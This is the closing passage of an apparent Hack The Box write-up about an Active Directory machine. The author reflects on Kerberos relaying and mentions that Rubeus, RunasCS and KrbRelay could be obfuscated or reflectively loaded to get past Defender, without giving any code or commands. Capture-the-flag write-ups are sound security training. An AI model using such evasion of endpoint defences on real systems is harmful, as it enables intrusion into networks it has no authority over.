With root.txt, we have pwned the box! image-27.png

Final thoughts

Well honestly that was a wild ride, and if you read this far kudos to you! I think the box would’ve been more realistic if defender was enabled on the DC, as you’ll never seen one in real life without it. However I can see why they didn’t do this - I guess its not really a hard but unnecessary step to obfuscate or reflectively load Rubeus, RunasCS and KrbRelay to get around it, which could’ve hurt my head more than it already did from all the Kerberos relaying magic.

The bleeding-edge vulnerabilities taught here and little easter eggs like the hugely realistic hardening measures and very representative ‘real-world’ misconfigurations make this easily my favourite machine from Hack The Box, so big thanks to Geiseric for creating it. If I saw an environment like this in my day job I would be suitably impressed, as normally AD environments have significantly worse misconfigurations than this 🙂 Anyhow, hope you learned something new from this very long writeup!

This post is licensed under CC BY 4.0 by the author.